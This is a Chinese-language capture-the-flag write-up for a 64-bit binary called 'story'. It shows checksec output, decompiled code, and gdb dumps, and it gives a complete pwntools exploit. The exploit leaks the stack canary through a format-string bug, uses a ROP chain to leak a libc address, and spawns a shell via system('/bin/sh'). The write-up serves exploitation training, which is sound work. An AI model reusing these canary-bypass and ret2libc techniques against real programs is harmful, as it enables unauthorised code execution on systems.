0x00:前言
這道題是64位程序,涉及到canary繞過,格式化字符串漏洞,是一道非常好的練習題
0x01:題目思路
首先檢查保護,可以看到有堆棧不可執行和canary保護
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec story
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/story'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
一開始看以爲是堆的題目,仔細一看是棧溢出,下面的函數可以看出,read函數存在棧溢出
unsigned __int64 __fastcall sub_400ABE(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+1Fh] [rbp-11h]
unsigned __int64 i; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0LL; i < a2; ++i )
{
buf = 0;
if ( (signed int)read(0, &buf, 1uLL) < 0 )
{
puts("Read error!!\n");
exit(1);
}
*(_BYTE *)(i + a1) = buf;
if ( buf == 10 )
break;
}
*(_BYTE *)(a1 + i) = 0;
return __readfsqword(0x28u) ^ v5;
}
運行程序發現有canary保護,canary一般是存在於ret - 8的位置,我們先輸入aaaaaaaa並找到輸入的位置
gdb-peda$ find "aaaaaaaa"
Searching for 'aaaaaaaa' in: None ranges
Found 3 results, display max 3 items:
[heap] : 0x603010 ("aaaaaaaa")
[stack] : 0x7fffffffbd80 ("aaaaaaaaell Your ID:")
[stack] : 0x7fffffffe420 ("aaaaaaaa")
gdb-peda$ x/20gx 0x7fffffffe420
0x7fffffffe420: 0x6161616161616161 0x0000000000000000 # esp - 0x10
0x7fffffffe430: 0x0000000000000000 0x00007ffff7a85439
0x7fffffffe440: 0x00007ffff7dd2620 0x00007ffff7a7cdbd
0x7fffffffe450: 0x0000000000000000 0xa9f67089f5d72800 # canary
0x7fffffffe460: 0x00007fffffffe4a0 0x00000000004008c6 # ret address (esp - 0x50)
0x7fffffffe470: 0x00007fffffffe588 0x0000000100000000
0x7fffffffe480: 0x0000000000400b70 0x0000000000400780
0x7fffffffe490: 0x00007fffffffe580 0xa9f67089f5d72800
0x7fffffffe4a0: 0x0000000000400b70 0x00007ffff7a2d830
0x7fffffffe4b0: 0x0000000000000001 0x00007fffffffe588
canary的位置也就是我們輸入的位置加上 7 位,我們輸入的內容偏移 8 位即是我們的aaaaaaaa,總共加起來也就是 %15$p,通過這一點我們便可以泄露 canary
gdb-peda$ r
Starting program: /home/Thunder_J/桌面/story
Please Tell Your ID:aaaaaaaa %x %x %x %x %x %x %x %x %x %x
Hello aaaaaaaa ffffbd80 f7dd3780 f7b042c0 f7fdc700 6 f7dd2620 603010 61616161 20782520 78252078
gdb-peda$ r
Starting program: /home/Thunder_J/桌面/story
Please Tell Your ID:aaaaaaaa %15$p
Hello aaaaaaaa 0xf77b92084307f000 # canary
接下來分三次發送payload,第一次我們通過puts函數打印__libc_start_main的got表內容,來計算libc基地址
payload = 'a'*136 + p64(canary) + 'b'*8 + p64(pop_rdi) + p64(elf.got['__libc_start_main'])+ p64(elf.plt['puts']) + p64(main)
第二次通過/bin/sh;%p來接收字符串/bin/sh的地址
payload2 = "/bin/sh;%p"
第三次就是調用system函數的內容,需要注意的是這是一個64位的程序,調用順序與32位不同
payload3 = 'a'*136 + p64(canary) + 'q'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
總的exp如下
from pwn import *
context.log_level = 'debug'
r = process('./story')
if args.G:
gdb.attach(r)
elf = ELF('./story')
r.recvuntil(':')
r.sendline('%15$p')
r.recvuntil('Hello ')
canary = int(r.recvuntil('\n'),16)
print "canary is:" + hex(canary)
pop_rdi = 0x0000000000400bd3
main = 0x400876
sleep(0.1)
payload = 'a'*136 + p64(canary) + 'b'*8 + p64(pop_rdi) + p64(elf.got['__libc_start_main'])+ p64(elf.plt['puts']) + p64(main)
r.recvuntil('Tell me the size of your story:\n')
r.sendline('200')
r.recvuntil('You can speak your story:\n')
r.sendline(payload)
libc_start = u64(r.recv(6) + '\x00' + '\x00')
print "Libc_start_main is :" + hex(libc_start)
sys_addr = libc_start + 0x24c50
print "System is:" + hex(sys_addr)
payload2 = "/bin/sh;%p"
r.recvuntil('ID:')
r.sendline(payload2)
r.recvuntil("/bin/sh;")
binsh = int(r.recv()[0:15],16)
print "binsh addr is:" + hex(binsh)
r.sendline('200')
#r.recvuntil('You can speak your story:\n')
payload3 = 'a'*136 + p64(canary) + 'q'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
sleep(0.1)
r.sendline(payload3)
r.interactive()